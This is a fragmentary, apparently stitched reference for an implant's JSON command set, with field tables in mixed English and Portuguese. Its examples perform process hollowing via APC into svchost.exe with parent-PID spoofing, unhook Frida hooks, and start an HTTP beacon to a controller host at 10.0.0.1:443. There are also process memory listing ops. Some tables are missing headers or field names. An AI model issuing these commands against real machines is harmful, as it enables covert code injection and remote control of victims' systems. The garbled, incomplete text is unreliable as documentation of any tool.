FieldType
imagestringobrigatório
task_idu8obrigatório
searchstringopcional (nome do processo/linha de comando para falsificar PPID a partir de)
{ "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" }
CampoTipo
hook_idi32opcional (ID do hook retornado por frida_hook)
namestringopcional (nome do hook definido com o campo name de frida_hook)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }
FieldType
hoststringopcional
portu16opcional (padrão: 80)
intervalu32opcional (intervalo de consulta em ms; padrão: 5000)
secureboolopcional (padrão: false)
agent_idstringopcional (identificador enviado nas requisições de beacon)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }
opcional (omitir = processo atual; "all" = todo processo acessível)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }
opcional (omitir = processo atual; "all" = todos os processos acessíveis)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }